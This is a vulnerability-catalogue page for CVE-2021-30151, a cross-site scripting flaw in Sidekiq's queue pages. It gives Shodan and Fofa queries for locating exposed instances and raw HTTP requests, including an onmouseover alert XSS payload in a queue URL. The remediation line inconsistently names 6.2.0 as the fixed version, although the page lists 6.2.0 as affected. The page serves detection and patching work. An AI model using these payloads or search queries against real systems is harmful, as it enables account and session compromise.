🔙 목록으로 돌아가기

CVE-2021-30151: Sidekiq <=6.2.0 - Cross-Site Scripting

TitleSidekiq <=6.2.0 - Cross-Site Scripting
AuthorDhiyaneshDk
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could lead to unauthorized access, data theft, or session hijacking.
RemediationUpgrade to Sidekiq version 6.2.0 or later to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.2396
CVE IDCVE-2021-30151
CWE IDCWE-79
Shodan Querytitle:"Sidekiq"http.title:"sidekiq"
Fofa Querytitle="sidekiq"
Tags cve2021 cve xss sidekiq authenticated contribsys vuln

🔍 Vulnerability Description

Sidekiq through 5.1.3 and 6.x through 6.2.0 contains a cross-site scripting vulnerability via the queue name of the live-poll feature when Internet Explorer is used.

🌐 HTTP Request

POST /api/auth HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/json
Accept-Encoding: gzip

{"email":"CtVHwI","password":"HttytT"}
GET /queues/%22onmouseover=%22alert%28document.domain%29%22 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.6
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-30151.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-30151.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A